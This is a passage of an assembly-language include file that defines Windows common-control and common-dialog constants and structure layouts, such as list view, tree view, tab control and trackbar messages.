equ WM_USER+51+TTM_NEWTOOLRECT equ WM_USER+6+TTM_NEWTOOLRECTW equ WM_USER+52+TTM_RELAYEVENT equ WM_USER+7+TTM_GETTOOLINFO equ WM_USER+8+TTM_GETTOOLINFOW equ WM_USER+53+TTM_SETTOOLINFO equ WM_USER+9+TTM_SETTOOLINFOW equ WM_USER+54+TTM_HITTEST equ WM_USER+10+TTM_HITTESTW equ WM_USER+55+TTM_GETTEXT equ WM_USER+11+TTM_GETTEXTW equ WM_USER+56+TTM_UPDATETIPTEXT equ WM_USER+12+TTM_UPDATETIPTEXTW equ WM_USER+57+TTM_GETTOOLCOUNT equ WM_USER+13+TTM_ENUMTOOLS equ WM_USER+14+TTM_ENUMTOOLSW equ WM_USER+58+TTM_GETCURRENTTOOL equ WM_USER+15+TTM_GETCURRENTTOOLW equ WM_USER+59+TTM_WINDOWFROMPOINT equ WM_USER+16+TTN_NEEDTEXT equ TTN_FIRST-0+TTN_NEEDTEXTW equ TTN_FIRST-10+TTN_SHOW equ TTN_FIRST-1+TTN_POP equ TTN_FIRST-2+SBARS_SIZEGRIP equ 0100h+SB_SETTEXT equ WM_USER+1+SB_SETTEXTW equ WM_USER+11+SB_GETTEXT equ WM_USER+2+SB_GETTEXTW equ WM_USER+13+SB_GETTEXTLENGTH equ WM_USER+3+SB_GETTEXTLENGTHW equ WM_USER+12+SB_SETPARTS equ WM_USER+4+SB_GETPARTS equ WM_USER+6+SB_GETBORDERS equ WM_USER+7+SB_SETMINHEIGHT equ WM_USER+8+SB_SIMPLE equ WM_USER+9+SB_GETRECT equ WM_USER+10+SBT_OWNERDRAW equ 1000h+SBT_NOBORDERS equ 0100h+SBT_POPOUT equ 0200h+SBT_RTLREADING equ 0400h+MINSYSCOMMAND equ SC_SIZE+TBS_AUTOTICKS equ 0001h+TBS_VERT equ 0002h+TBS_HORZ equ 0000h+TBS_TOP equ 0004h+TBS_BOTTOM equ 0000h+TBS_LEFT equ 0004h+TBS_RIGHT equ 0000h+TBS_BOTH equ 0008h+TBS_NOTICKS equ 0010h+TBS_ENABLESELRANGE equ 0020h+TBS_FIXEDLENGTH equ 0040h+TBS_NOTHUMB equ 0080h+TBM_GETPOS equ WM_USER+TBM_GETRANGEMIN equ WM_USER+1+TBM_GETRANGEMAX equ WM_USER+2+TBM_GETTIC equ WM_USER+3+TBM_SETTIC equ WM_USER+4+TBM_SETPOS equ WM_USER+5+TBM_SETRANGE equ WM_USER+6+TBM_SETRANGEMIN equ WM_USER+7+TBM_SETRANGEMAX equ WM_USER+8+TBM_CLEARTICS equ WM_USER+9+TBM_SETSEL equ WM_USER+10+TBM_SETSELSTART equ WM_USER+11+TBM_SETSELEND equ WM_USER+12+TBM_GETPTICS equ WM_USER+14+TBM_GETTICPOS equ WM_USER+15+TBM_GETNUMTICS equ WM_USER+16+TBM_GETSELSTART equ WM_USER+17+TBM_GETSELEND equ WM_USER+18+TBM_CLEARSEL equ WM_USER+19+TBM_SETTICFREQ equ WM_USER+20+TBM_SETPAGESIZE equ WM_USER+21+TBM_GETPAGESIZE equ WM_USER+22+TBM_SETLINESIZE equ WM_USER+23+TBM_GETLINESIZE equ WM_USER+24+TBM_GETTHUMBRECT equ WM_USER+25+TBM_GETCHANNELRECT equ WM_USER+26+TBM_SETTHUMBLENGTH equ WM_USER+27+TBM_GETTHUMBLENGTH equ WM_USER+28+TB_LINEUP equ 0+TB_LINEDOWN equ 1+TB_PAGEUP equ 2+TB_PAGEDOWN equ 3+TB_THUMBPOSITION equ 4+TB_THUMBTRACK equ 5+TB_TOP equ 6+TB_BOTTOM equ 7+TB_ENDTRACK equ 8+DL_BEGINDRAG equ WM_USER+133+DL_DRAGGING equ WM_USER+134+DL_DROPPED equ WM_USER+135+DL_CANCELDRAG equ WM_USER+136+DL_CURSORSET equ 0+DL_STOPCURSOR equ 1+DL_COPYCURSOR equ 2+DL_MOVECURSOR equ 3+UD_MAXVAL equ 7FFFh+UD_MINVAL equ -UD_MAXVAL+UDS_WRAP equ 0001h+UDS_SETBUDDYINT equ 0002h+UDS_ALIGNRIGHT equ 0004h+UDS_ALIGNLEFT equ 0008h+UDS_AUTOBUDDY equ 0010h+UDS_ARROWKEYS equ 0020h+UDS_HORZ equ 0040h+UDS_NOTHOUSANDS equ 0080h+UDM_SETRANGE equ WM_USER+101+UDM_GETRANGE equ WM_USER+102+UDM_SETPOS equ WM_USER+103+UDM_GETPOS equ WM_USER+104+UDM_SETBUDDY equ WM_USER+105+UDM_GETBUDDY equ WM_USER+106+UDM_SETACCEL equ WM_USER+107+UDM_GETACCEL equ WM_USER+108+UDM_SETBASE equ WM_USER+109+UDM_GETBASE equ WM_USER+110+UDN_DELTAPOS equ UDN_FIRST-1+PBM_SETRANGE equ WM_USER+1+PBM_SETPOS equ WM_USER+2+PBM_DELTAPOS equ WM_USER+3+PBM_SETSTEP equ WM_USER+4+PBM_STEPIT equ WM_USER+5+HOTKEYF_SHIFT equ 01h+HOTKEYF_CONTROL equ 02h+HOTKEYF_ALT equ 04h+HOTKEYF_EXT equ 08h+HKCOMB_NONE equ 0001h+HKCOMB_S equ 0002h+HKCOMB_C equ 0004h+HKCOMB_A equ 0008h+HKCOMB_SC equ 0010h+HKCOMB_SA equ 0020h+HKCOMB_CA equ 0040h+HKCOMB_SCA equ 0080h+HKM_SETHOTKEY equ WM_USER+1+HKM_GETHOTKEY equ WM_USER+2+HKM_SETRULES equ WM_USER+3+LVS_ICON equ 0000h+LVS_REPORT equ 0001h+LVS_SMALLICON equ 0002h+LVS_LIST equ 0003h+LVS_TYPEMASK equ 0003h+LVS_SINGLESEL equ 0004h+LVS_SHOWSELALWAYS equ 0008h+LVS_SORTASCENDING equ 0010h+LVS_SORTDESCENDING equ 0020h+LVS_SHAREIMAGELISTS equ 0040h+LVS_NOLABELWRAP equ 0080h+LVS_AUTOARRANGE equ 0100h+LVS_EDITLABELS equ 0200h+LVS_NOSCROLL equ 2000h+LVS_TYPESTYLEMASK equ 0fc00h+LVS_ALIGNTOP equ 0000h+LVS_ALIGNLEFT equ 0800h+LVS_ALIGNMASK equ 0c00h+LVS_OWNERDRAWFIXED equ 0400h+LVS_NOCOLUMNHEADER equ 4000h+LVS_NOSORTHEADER equ 8000h+LVM_GETBKCOLOR equ LVM_FIRST+0+LVM_SETBKCOLOR equ LVM_FIRST+1+LVM_GETIMAGELIST equ LVM_FIRST+2+LVSIL_NORMAL equ 0+LVSIL_SMALL equ 1+LVSIL_STATE equ 2+LVM_SETIMAGELIST equ LVM_FIRST+3+LVM_GETITEMCOUNT equ LVM_FIRST+4+LVIF_TEXT equ 0001h+LVIF_IMAGE equ 0002h+LVIF_PARAM equ 0004h+LVIF_STATE equ 0008h+LVIS_FOCUSED equ 0001h+LVIS_SELECTED equ 0002h+LVIS_CUT equ 0004h+LVIS_DROPHILITED equ 0008h+LVIS_OVERLAYMASK equ 0F00h+LVIS_STATEIMAGEMASK equ 0F000h+LPSTR_TEXTCALLBACKW equ -1+LPSTR_TEXTCALLBACK equ -1+I_IMAGECALLBACK equ -1+LVM_GETITEM equ LVM_FIRST+5+LVM_GETITEMW equ LVM_FIRST+75+LVM_SETITEM equ LVM_FIRST+6+LVM_SETITEMW equ LVM_FIRST+76+LVM_INSERTITEM equ LVM_FIRST+7+LVM_INSERTITEMW equ LVM_FIRST+77+LVM_DELETEITEM equ LVM_FIRST+8+LVM_DELETEALLITEMS equ LVM_FIRST+9+LVM_GETCALLBACKMASK equ LVM_FIRST+10+LVM_SETCALLBACKMASK equ LVM_FIRST+11+LVNI_ALL equ 0000h+LVNI_FOCUSED equ 0001h+LVNI_SELECTED equ 0002h+LVNI_CUT equ 0004h+LVNI_DROPHILITED equ 0008h+LVNI_ABOVE equ 0100h+LVNI_BELOW equ 0200h+LVNI_TOLEFT equ 0400h+LVNI_TORIGHT equ 0800h+LVM_GETNEXTITEM equ LVM_FIRST+12+LVFI_PARAM equ 0001h+LVFI_STRING equ 0002h+LVFI_PARTIAL equ 0008h+LVFI_WRAP equ 0020h+LVFI_NEARESTXY equ 0040h+LVM_FINDITEM equ LVM_FIRST+13+LVM_FINDITEMW equ LVM_FIRST+83+LVIR_BOUNDS equ 0+LVIR_ICON equ 1+LVIR_LABEL equ 2+LVIR_SELECTBOUNDS equ 3+LVM_GETITEMRECT equ LVM_FIRST+14+LVM_SETITEMPOSITION equ LVM_FIRST+15+LVM_GETITEMPOSITION equ LVM_FIRST+16+LVM_GETSTRINGWIDTH equ LVM_FIRST+17+LVM_GETSTRINGWIDTHW equ LVM_FIRST+87+LVHT_NOWHERE equ 0001h+LVHT_ONITEMICON equ 0002h+LVHT_ONITEMLABEL equ 0004h+LVHT_ONITEMSTATEICON equ 0008h+LVHT_ONITEM equ LVHT_ONITEMICON|LVHT_ONITEMLABEL|LVHT_ONITEMSTATEICON+LVHT_ABOVE equ 0008h+LVHT_BELOW equ 0010h+LVHT_TORIGHT equ 0020h+LVHT_TOLEFT equ 0040h+LVM_HITTEST equ LVM_FIRST+18+LVM_ENSUREVISIBLE equ LVM_FIRST+19+LVM_SCROLL equ LVM_FIRST+20+LVM_REDRAWITEMS equ LVM_FIRST+21+LVA_DEFAULT equ 0000h+LVA_ALIGNLEFT equ 0001h+LVA_ALIGNTOP equ 0002h+LVA_SNAPTOGRID equ 0005h+LVM_ARRANGE equ LVM_FIRST+22+LVM_EDITLABEL equ LVM_FIRST+23+LVM_EDITLABELW equ LVM_FIRST+118+LVM_GETEDITCONTROL equ LVM_FIRST+24+LVCF_FMT equ 0001h+LVCF_WIDTH equ 0002h+LVCF_TEXT equ 0004h+LVCF_SUBITEM equ 0008h+LVCFMT_LEFT equ 0000h+LVCFMT_RIGHT equ 0001h+LVCFMT_CENTER equ 0002h+LVCFMT_JUSTIFYMASK equ 0003h+LVM_GETCOLUMN equ LVM_FIRST+25+LVM_GETCOLUMNW equ LVM_FIRST+95+LVM_SETCOLUMN equ LVM_FIRST+26+LVM_SETCOLUMNW equ LVM_FIRST+96+LVM_INSERTCOLUMN equ LVM_FIRST+27+LVM_INSERTCOLUMNW equ LVM_FIRST+97+LVM_DELETECOLUMN equ LVM_FIRST+28+LVM_GETCOLUMNWIDTH equ LVM_FIRST+29+LVSCW_AUTOSIZE equ -1+LVSCW_AUTOSIZE_USEHEADER equ -2+LVM_SETCOLUMNWIDTH equ LVM_FIRST+30+LVM_CREATEDRAGIMAGE equ LVM_FIRST+33+LVM_GETVIEWRECT equ LVM_FIRST+34+LVM_GETTEXTCOLOR equ LVM_FIRST+35+LVM_SETTEXTCOLOR equ LVM_FIRST+36+LVM_GETTEXTBKCOLOR equ LVM_FIRST+37+LVM_SETTEXTBKCOLOR equ LVM_FIRST+38+LVM_GETTOPINDEX equ LVM_FIRST+39+LVM_GETCOUNTPERPAGE equ LVM_FIRST+40+LVM_GETORIGIN equ LVM_FIRST+41+LVM_UPDATE equ LVM_FIRST+42+LVM_SETITEMSTATE equ LVM_FIRST+43+LVM_GETITEMSTATE equ LVM_FIRST+44+LVM_GETITEMTEXT equ LVM_FIRST+45+LVM_GETITEMTEXTW equ LVM_FIRST+115+LVM_SETITEMTEXT equ LVM_FIRST+46+LVM_SETITEMTEXTW equ LVM_FIRST+116+LVM_SETITEMCOUNT equ LVM_FIRST+47+LVM_SORTITEMS equ LVM_FIRST+48+LVM_SETITEMPOSITION32 equ LVM_FIRST+49+LVM_GETSELECTEDCOUNT equ LVM_FIRST+50+LVM_GETITEMSPACING equ LVM_FIRST+51+LVM_GETISEARCHSTRING equ LVM_FIRST+52+LVM_GETISEARCHSTRINGW equ LVM_FIRST+117+LVN_ITEMCHANGING equ LVN_FIRST-0+LVN_ITEMCHANGED equ LVN_FIRST-1+LVN_INSERTITEM equ LVN_FIRST-2+LVN_DELETEITEM equ LVN_FIRST-3+LVN_DELETEALLITEMS equ LVN_FIRST-4+LVN_BEGINLABELEDIT equ LVN_FIRST-5+LVN_BEGINLABELEDITW equ LVN_FIRST-75+LVN_ENDLABELEDIT equ LVN_FIRST-6+LVN_ENDLABELEDITW equ LVN_FIRST-76+LVN_COLUMNCLICK equ LVN_FIRST-8+LVN_BEGINDRAG equ LVN_FIRST-9+LVN_BEGINRDRAG equ LVN_FIRST-11+LVN_GETDISPINFO equ LVN_FIRST-50+LVN_GETDISPINFOW equ LVN_FIRST-77+LVN_SETDISPINFO equ LVN_FIRST-51+LVN_SETDISPINFOW equ LVN_FIRST-78+LVIF_DI_SETITEM equ 1000h+LVN_KEYDOWN equ LVN_FIRST-55+TVS_HASBUTTONS equ 0001h+TVS_HASLINES equ 0002h+TVS_LINESATROOT equ 0004h+TVS_EDITLABELS equ 0008h+TVS_DISABLEDRAGDROP equ 0010h+TVS_SHOWSELALWAYS equ 0020h+TVIF_TEXT equ 0001h+TVIF_IMAGE equ 0002h+TVIF_PARAM equ 0004h+TVIF_STATE equ 0008h+TVIF_HANDLE equ 0010h+TVIF_SELECTEDIMAGE equ 0020h+TVIF_CHILDREN equ 0040h+TVIS_FOCUSED equ 0001h+TVIS_SELECTED equ 0002h+TVIS_CUT equ 0004h+TVIS_DROPHILITED equ 0008h+TVIS_BOLD equ 0010h+TVIS_EXPANDED equ 0020h+TVIS_EXPANDEDONCE equ 0040h+TVIS_OVERLAYMASK equ 0F00h+TVIS_STATEIMAGEMASK equ 0F000h+TVIS_USERMASK equ 0F000h+I_CHILDRENCALLBACK equ -1+TVI_ROOT equ 0FFFF0000h+TVI_FIRST equ 0FFFF0001h+TVI_LAST equ 0FFFF0002h+TVI_SORT equ 0FFFF0003h+TVM_INSERTITEM equ TV_FIRST+0+TVM_INSERTITEMW equ TV_FIRST+50+TVM_DELETEITEM equ TV_FIRST+1+TVM_EXPAND equ TV_FIRST+2+TVE_COLLAPSE equ 0001h+TVE_EXPAND equ 0002h+TVE_TOGGLE equ 0003h+TVE_COLLAPSERESET equ 8000h+TVM_GETITEMRECT equ TV_FIRST+4+TVM_GETCOUNT equ TV_FIRST+5+TVM_GETINDENT equ TV_FIRST+6+TVM_SETINDENT equ TV_FIRST+7+TVM_GETIMAGELIST equ TV_FIRST+8+TVSIL_NORMAL equ 0+TVSIL_STATE equ 2+TVM_SETIMAGELIST equ TV_FIRST+9+TVM_GETNEXTITEM equ TV_FIRST+10+TVGN_ROOT equ 0000h+TVGN_NEXT equ 0001h+TVGN_PREVIOUS equ 0002h+TVGN_PARENT equ 0003h+TVGN_CHILD equ 0004h+TVGN_FIRSTVISIBLE equ 0005h+TVGN_NEXTVISIBLE equ 0006h+TVGN_PREVIOUSVISIBLE equ 0007h+TVGN_DROPHILITE equ 0008h+TVGN_CARET equ 0009h+TVM_SELECTITEM equ TV_FIRST+11+TVM_GETITEM equ TV_FIRST+12+TVM_GETITEMW equ TV_FIRST+62+TVM_SETITEM equ TV_FIRST+13+TVM_SETITEMW equ TV_FIRST+63+TVM_EDITLABEL equ TV_FIRST+14+TVM_EDITLABELW equ TV_FIRST+65+TVM_GETEDITCONTROL equ TV_FIRST+15+TVM_GETVISIBLECOUNT equ TV_FIRST+16+TVM_HITTEST equ TV_FIRST+17+TVHT_NOWHERE equ 0001h+TVHT_ONITEMICON equ 0002h+TVHT_ONITEMLABEL equ 0004h+TVHT_ONITEMSTATEICON equ 0040h+TVHT_ONITEM equ TVHT_ONITEMICON|TVHT_ONITEMLABEL|TVHT_ONITEMSTATEICON+TVHT_ONITEMINDENT equ 0008h+TVHT_ONITEMBUTTON equ 0010h+TVHT_ONITEMRIGHT equ 0020h+TVHT_ABOVE equ 0100h+TVHT_BELOW equ 0200h+TVHT_TORIGHT equ 0400h+TVHT_TOLEFT equ 0800h+TVM_CREATEDRAGIMAGE equ TV_FIRST+18+TVM_SORTCHILDREN equ TV_FIRST+19+TVM_ENSUREVISIBLE equ TV_FIRST+20+TVM_SORTCHILDRENCB equ TV_FIRST+21+TVM_ENDEDITLABELNOW equ TV_FIRST+22+TVM_GETISEARCHSTRING equ TV_FIRST+23+TVM_GETISEARCHSTRINGW equ TV_FIRST+64+TVN_SELCHANGINGA equ TVN_FIRST-1+TVN_SELCHANGINGW equ TVN_FIRST-50+TVN_SELCHANGEDA equ TVN_FIRST-2+TVN_SELCHANGEDW equ TVN_FIRST-51+TVC_UNKNOWN equ 0000h+TVC_BYMOUSE equ 0001h+TVC_BYKEYBOARD equ 0002h+TVN_GETDISPINFOA equ TVN_FIRST-3+TVN_GETDISPINFOW equ TVN_FIRST-52+TVN_SETDISPINFOA equ TVN_FIRST-4+TVN_SETDISPINFOW equ TVN_FIRST-53+TVIF_DI_SETITEM equ 1000h+TVN_ITEMEXPANDING equ TVN_FIRST-5+TVN_ITEMEXPANDINGW equ TVN_FIRST-54+TVN_ITEMEXPANDED equ TVN_FIRST-6+TVN_ITEMEXPANDEDW equ TVN_FIRST-55+TVN_BEGINDRAG equ TVN_FIRST-7+TVN_BEGINDRAGW equ TVN_FIRST-56+TVN_BEGINRDRAG equ TVN_FIRST-8+TVN_BEGINRDRAGW equ TVN_FIRST-57+TVN_DELETEITEM equ TVN_FIRST-9+TVN_DELETEITEMW equ TVN_FIRST-58+TVN_BEGINLABELEDIT equ TVN_FIRST-10+TVN_BEGINLABELEDITW equ TVN_FIRST-59+TVN_ENDLABELEDIT equ TVN_FIRST-11+TVN_ENDLABELEDITW equ TVN_FIRST-60+TVN_KEYDOWN equ TVN_FIRST-12+TCS_FORCEICONLEFT equ 0010h+TCS_FORCELABELLEFT equ 0020h+TCS_TABS equ 0000h+TCS_BUTTONS equ 0100h+TCS_SINGLELINE equ 0000h+TCS_MULTILINE equ 0200h+TCS_RIGHTJUSTIFY equ 0000h+TCS_FIXEDWIDTH equ 0400h+TCS_RAGGEDRIGHT equ 0800h+TCS_FOCUSONBUTTONDOWN equ 1000h+TCS_OWNERDRAWFIXED equ 2000h+TCS_TOOLTIPS equ 4000h+TCS_FOCUSNEVER equ 8000h+TCM_FIRST equ 1300h+TCM_GETIMAGELIST equ TCM_FIRST+2+TCM_SETIMAGELIST equ TCM_FIRST+3+TCM_GETITEMCOUNT equ TCM_FIRST+4+TCIF_TEXT equ 0001h+TCIF_IMAGE equ 0002h+TCIF_RTLREADING equ 0004h+TCIF_PARAM equ 0008h+TCM_GETITEM equ TCM_FIRST+5+TCM_SETITEM equ TCM_FIRST+6+TCM_SETITEMW equ TCM_FIRST+61+TCM_INSERTITEM equ TCM_FIRST+7+TCM_INSERTITEMW equ TCM_FIRST+62+TCM_DELETEITEM equ TCM_FIRST+8+TCM_DELETEALLITEMS equ TCM_FIRST+9+TCM_GETITEMRECT equ TCM_FIRST+10+TCM_GETCURSEL equ TCM_FIRST+11+TCM_SETCURSEL equ TCM_FIRST+12+TCHT_NOWHERE equ 0001h+TCHT_ONITEMICON equ 0002h+TCHT_ONITEMLABEL equ 0004h+TCHT_ONITEM equ TCHT_ONITEMICON|TCHT_ONITEMLABEL+TCM_HITTEST equ TCM_FIRST+13+TCM_SETITEMEXTRA equ TCM_FIRST+14+TCM_ADJUSTRECT equ TCM_FIRST+40+TCM_SETITEMSIZE equ TCM_FIRST+41+TCM_REMOVEIMAGE equ TCM_FIRST+42+TCM_SETPADDING equ TCM_FIRST+43+TCM_GETROWCOUNT equ TCM_FIRST+44+TCM_GETTOOLTIPS equ TCM_FIRST+45+TCM_SETTOOLTIPS equ TCM_FIRST+46+TCM_GETCURFOCUS equ TCM_FIRST+47+TCM_SETCURFOCUS equ TCM_FIRST+48+TCN_KEYDOWN equ TCN_FIRST-0+TCN_SELCHANGE equ TCN_FIRST-1+TCN_SELCHANGING equ TCN_FIRST-2+ACS_CENTER equ 0001h+ACS_TRANSPARENT equ 0002h+ACS_AUTOPLAY equ 0004h+ACM_OPEN equ WM_USER+100+ACM_OPENW equ WM_USER+103+ACM_PLAY equ WM_USER+101+ACM_STOP equ WM_USER+102+ACN_START equ 1+ACN_STOP equ 2+;-------------------------comctl structures------------------------------+STRUC INIT_COMMON_CONTROLSEX+.dwSize RESD 1+.dwICC RESD 1+ENDSTRUC++STRUC REBARINFO+.cbSize RESD 1+.fMask RESD 1+.himl RESD 1+ENDSTRUC++STRUC REBARBANDINFO+.cbSize RESD 1+.fMask RESD 1+.fStyle RESD 1+.clrFore RESD 1+.clrBack RESD 1+.lpText RESD 1+.cch RESD 1+.iImage RESD 1+.hwndChild RESD 1+.cxMinChild RESD 1+.cyMinChild RESD 1+.lx RESD 1+.hbmBack RESD 1+.wID RESD 1+.cyChild RESD 1+.cyMaxChild RESD 1+.cyIntegral RESD 1+.cxIdeal RESD 1+.lParam RESD 1+.cxHeader RESD 1+ENDSTRUC++STRUC NMREBARCHILDSIZE+.hdr RESB NMHDR_size+.uBand RESD 1+.wID RESD 1+.rcChild RESB RECT_size+.rcBand RESB RECT_size+ENDSTRUC++STRUC NMREBAR+.hdr RESB NMHDR_size+.dwMask RESD 1+.uBand RESD 1+.fStyle RESD 1+.wID RESD 1+.lParam RESD 1+ENDSTRUC++STRUC NMRBAUTOSIZE+.hdr RESB NMHDR_size+.fChanged RESD 1+.rcTarget RESB RECT_size+.rcActual RESB RECT_size+ENDSTRUC++STRUC RB_HITTESTINFO+.pt RESB POINT_size+.flags RESD 1+.iBand RESW 1+ENDSTRUC++STRUC IMAGEINFO+.hbmImage RESD 1+.hbmMask RESD 1+.Unused1 RESD 1+.Unused2 RESD 1+.rcImage RESB RECT_size+ENDSTRUC++STRUC HD_ITEM+.imask RESD 1+.lxy RESD 1+.pszText RESD 1+.hbm RESD 1+.cchTextMax RESD 1+.fmt RESD 1+.lParam RESD 1+ENDSTRUC++STRUC HD_LAYOUT+.prc RESD 1+.pwpos RESD 1+ENDSTRUC++STRUC HD_HITTESTINFO+.pt RESB POINT_size+.flags RESD 1+.iItem RESD 1+ENDSTRUC++STRUC HD_NOTIFY+.hdr RESB NMHDR_size+.iItem RESD 1+.iButton RESD 1+.pitem RESD 1+ENDSTRUC++STRUC TBBUTTON+.iBitmap RESD 1+.idCommand RESD 1+.fsState RESB 1+.fsStyle RESB 1+.dwData RESD 1+.iString RESD 1+ENDSTRUC++STRUC ColorMap+.cmFrom RESD 1+.cmTo RESD 1+ENDSTRUC++STRUC TBADDBITMAP+.hInst RESD 1+.nId RESD 1+ENDSTRUC++STRUC TBSAVEPARAMS+.hkr RESD 1+.pszSubKey RESD 1+.pszValueName RESD 1+ENDSTRUC++STRUC TBREPLACEBITMAP+.hInstOld RESD 1+.nIdOld RESD 1+.hInstNew RESD 1+.nIdNew RESD 1+.nButtons RESD 1+ENDSTRUC++STRUC TBNOTIFY+.hdr RESB NMHDR_size+.iItem RESD 1+.tbButton RESB TBBUTTON_size+.cchText RESD 1+.pszText RESD 1+ENDSTRUC++STRUC TOOLINFO+.cbSize RESD 1+.uFlags RESD 1+.hWnd RESD 1+.uId RESD 1+.rect RESB RECT_size+.hInst RESD 1+.lpszText RESD 1+.lParam RESD 1+ENDSTRUC++STRUC TT_HITTESTINFO+.hWnd RESD 1+.pt RESB POINT_size+.ti RESB TOOLINFO_size+ENDSTRUC++STRUC TOOLTIPTEXT+.hdr RESB NMHDR_size+.lpszText RESD 1+.szText RESB 80+.hInst RESD 1+.uFlags RESD 1+ENDSTRUC++STRUC DRAGLISTINFO+.uNotification RESD 1+.hWnd RESD 1+.ptCursor RESB POINT_size+ENDSTRUC++STRUC UDACCEL+.nSec RESD 1+.nInc RESD 1+ENDSTRUC++STRUC NM_UPDOWN+.hdr RESB NMHDR_size+.iPos RESD 1+.iDelta RESD 1+ENDSTRUC++STRUC LV_ITEM+.imask RESD 1+.iItem RESD 1+.iSubItem RESD 1+.state RESD 1+.stateMask RESD 1+.pszText RESD 1+.cchTextMax RESD 1+.iImage RESD 1+.lParam RESD 1+ENDSTRUC++STRUC LV_FINDINFO+.flags RESD 1+.psz RESD 1+.lParam RESD 1+.pt RESB POINT_size+.vkDirection RESD 1+ENDSTRUC++STRUC LV_HITTESTINFO+.pt RESB POINT_size+.flags RESD 1+.iItem RESD 1+ENDSTRUC++STRUC LV_COLUMN+.imask RESD 1+.fmt RESD 1+.lx RESD 1+.pszText RESD 1+.cchTextMax RESD 1+.iSubItem RESD 1+ENDSTRUC++STRUC NM_LISTVIEW+.hdr RESB NMHDR_size+.iItem RESD 1+.iSubItem RESD 1+.uNewState RESD 1+.uOldState RESD 1+.uChanged RESD 1+.ptAction RESB POINT_size+.lParam RESD 1+ENDSTRUC++STRUC LV_DISPINFO+.hdr RESB NMHDR_size+.item RESD 1+ENDSTRUC++STRUC LV_KEYDOWN+.hdr RESB NMHDR_size+.wVKey RESW 1+.flags RESD 1+ENDSTRUC++STRUC TREEITEM+.dummy RESD 1+ENDSTRUC++STRUC TV_ITEM+.imask RESD 1+.hItem RESD 1+.state RESD 1+.stateMask RESD 1+.pszText RESD 1+.cchTextMax RESD 1+.iImage RESD 1+.iSelectedImage RESD 1+.cChildren RESD 1+.lParam RESD 1+ENDSTRUC++STRUC TV_INSERTSTRUCT+.hParent RESD 1+.hInsertAfter RESD 1+.item RESD 1+ENDSTRUC++STRUC TV_HITTESTINFO+.pt RESB POINT_size+.flags RESD 1+.hItem RESD 1+ENDSTRUC++STRUC TV_SORTCB+.hParent RESD 1+.lpfnCompare RESD 1+.lParam RESD 1+ENDSTRUC++STRUC NM_TREEVIEW+.hdr RESB NMHDR_size+.action RESD 1+.itemOld RESD 1+.itemNew RESD 1+.ptDrag RESB POINT_size+ENDSTRUC++STRUC TV_DISPINFO+.hdr RESB NMHDR_size+.item RESD 1+ENDSTRUC++STRUC TV_KEYDOWN+.hdr RESB NMHDR_size+.wVKey RESW 1+.flags RESD 1+ENDSTRUC++STRUC TC_ITEMHEADER+.imask RESD 1+.lpReserved1 RESD 1+.lpReserved2 RESD 1+.pszText RESD 1+.cchTextMax RESD 1+.iImage RESD 1+ENDSTRUC++STRUC TC_ITEM+.imask RESD 1+.lpReserved1 RESD 1+.lpReserved2 RESD 1+.pszText RESD 1+.cchTextMax RESD 1+.iImage RESD 1+.lParam RESD 1+ENDSTRUC++STRUC TC_HITTESTINFO+.pt RESB POINT_size+.flags RESD 1+ENDSTRUC++STRUC TC_KEYDOWN+.hdr RESB NMHDR_size+.wVKey RESW 1+.flags RESD 1+ENDSTRUC++;--------------------------comdlg equates-------------------------------+CDERR_GENERALCODES equ 0000h+CDERR_STRUCTSIZE equ 0001h+CDERR_INITIALIZATION equ 0002h+CDERR_NOTEMPLATE equ 0003h+CDERR_NOHINSTANCE equ 0004h+CDERR_LOADSTRFAILURE equ 0005h+CDERR_FINDRESFAILURE equ 0006h+CDERR_LOADRESFAILURE equ 0007h+CDERR_LOCKRESFAILURE equ 0008h+CDERR_MEMALLOCFAILURE equ 0009h+CDERR_MEMLOCKFAILURE equ 000Ah+CDERR_NOHOOK equ 000Bh+CDERR_REGISTERMSGFAIL equ 000Ch+CC_RGBINIT equ 00000001h+CC_FULLOPEN equ 00000002h+CC_PREVENTFULLOPEN equ 00000004h+CC_SHOWHELP equ 00000008h+CC_ENABLEHOOK equ 00000010h+CC_ENABLETEMPLATE equ 00000020h+CC_ENABLETEMPLATEHANDLE equ 00000040h+CCERR_CHOOSECOLORCODES equ 5000h+FR_DOWN equ 00000001h+FR_WHOLEWORD equ 00000002h+FR_MATCHCASE equ 00000004h+FR_FINDNEXT equ 00000008h+FR_REPLACE equ 00000010h+FR_REPLACEALL equ 00000020h+FR_DIALOGTERM equ 00000040h+FR_SHOWHELP equ 00000080h+FR_ENABLEHOOK equ 00000100h+FR_ENABLETEMPLATE equ 00000200h+FR_NOUPDOWN equ 00000400h+FR_NOMATCHCASE equ 00000800h+FR_NOWHOLEWORD equ 00001000h+FR_ENABLETEMPLATEHANDLE equ 00002000h+FR_HIDEUPDOWN equ 00004000h+FR_HIDEMATCHCASE equ 00008000h+FR_HIDEWHOLEWORD equ 00010000h+FRERR_FINDREPLACECODES equ 4000h+FRERR_BUFFERLENGTHZERO equ 4001h+CF_SCREENFONTS equ 00000001h+CF_PRINTERFONTS equ 00000002h+CF_BOTH equ CF_SCREENFONTS+CF_PRINTERFONTS+CF_SHOWHELP equ 00000004h+CF_ENABLEHOOK equ 00000008h+CF_ENABLETEMPLATE equ 00000010h+CF_ENABLETEMPLATEHANDLE equ 00000020h+CF_INITTOLOGFONTSTRUCT equ 00000040h+CF_USESTYLE equ 00000080h+CF_EFFECTS equ 00000100h+CF_APPLY equ 00000200h+CF_ANSIONLY equ 00000400h+CF_NOVECTORFONTS equ 00000800h+CF_NOOEMFONTS equ CF_NOVECTORFONTS+CF_NOSIMULATIONS equ 00001000h+CF_LIMITSIZE equ 00002000h+CF_FIXEDPITCHONLY equ 00004000h+CF_WYSIWYG equ 00008000h+CF_FORCEFONTEXIST equ 00010000h+CF_SCALABLEONLY equ 00020000h+CF_TTONLY equ 00040000h+CF_NOFACESEL equ 00080000h+CF_NOSTYLESEL equ 00100000h+CF_NOSIZESEL equ 00200000h+CFERR_CHOOSEFONTCODES equ 2000h+CFERR_NOFONTS equ 2001h+CFERR_MAXLESSTHANMIN equ 2002h+WM_CHOOSEFONT_GETLOGFONT equ WM_USER+1+CD_LBSELNOITEMS equ -1+CD_LBSELCHANGE equ 0+CD_LBSELSUB equ 1+CD_LBSELADD equ 2+PD_ALLPAGES equ 00000000h+PD_SELECTION equ 00000001h+PD_PAGENUMS equ 00000002h+PD_NOSELECTION equ 00000004h+PD_NOPAGENUMS equ 00000008h+PD_COLLATE equ 00000010h+PD_PRINTTOFILE equ 00000020h+PD_PRINTSETUP equ 00000040h+PD_NOWARNING equ 00000080h+PD_RETURNDC equ 00000100h+PD_RETURNIC equ 00000200h+PD_RETURNDEFAULT equ 00000400h+PD_SHOWHELP equ 